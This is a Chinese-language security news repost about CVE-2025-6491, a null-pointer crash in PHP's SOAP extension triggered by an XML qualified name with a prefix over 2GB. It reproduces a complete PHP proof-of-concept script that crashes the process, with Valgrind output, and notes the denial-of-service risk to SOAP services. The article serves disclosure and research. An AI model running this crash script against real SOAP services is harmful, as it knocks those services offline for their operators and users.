该漏洞由卡塔尔计算研究所的 Ahmed Lekssays 发现,当 PHP SOAP 扩展处理大于 2GB 的完全限定 XML 名称时,该漏洞会影响该扩展。
公告中写道:“如果使用大于 2G 的完全限定名称创建 SoapVar 实例,这将导致空指针取消引用,从而引发分段错误。 ”
该缺陷存在于 PHP 使用 libxml2 实现的 SOAP 机制中,该机制与过长的 XML 命名空间前缀交互。当前缀超过最大 int 值时,会导致 xmlNodeSetName() 静默失败,从而使 XML 节点处于无效状态。这会导致后续序列化过程中触发分段错误。
使用 str_repeat(“A”, 0x7fffffff) 的简单 PHP 脚本会导致 SOAP 操作期间崩溃:
ini_set('memory_limit', '6144M');
// 2 GB prefix to overflow int (INT_MAX = 2147483647)
$hugePrefix = str_repeat("A", 0x7fffffff);
// This is the local part of the XML name
$localName = "Element";
// This will be passed to xmlBuildQName(prefix: hugePrefix, ncname: localName)
$soapVar = new SoapVar(
"value",
XSD_STRING,
null,
null,
"{$hugePrefix}:{$localName}" // Triggers xmlBuildQName
);
$options = [
'location' => 'http://127.0.0.1/', // localhost dummy
'uri' => 'urn:dummy',
'trace' => 1,
'exceptions' => true,
];
try {
$client = new SoapClient(null, $options);
$client->__soapCall("DummyFunction", [$soapVar]);
} catch (Exception $e) {
echo "Caught Exception: " . $e->getMessage() . "n";
}
执行时,PHP 进程因崩溃而终止:“ Valgrind 确认‘在地址 0x0 处的大小 1 的读取无效’。”
这使得该漏洞特别容易受到拒绝服务 (DoS) 攻击,特别是在接受不受信任输入的 SOAP 公开 API 或 Web 服务中。
原文始发于微信公众号(TtTeam):PHP 漏洞 CVE-2025-6491(SOAP DoS)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论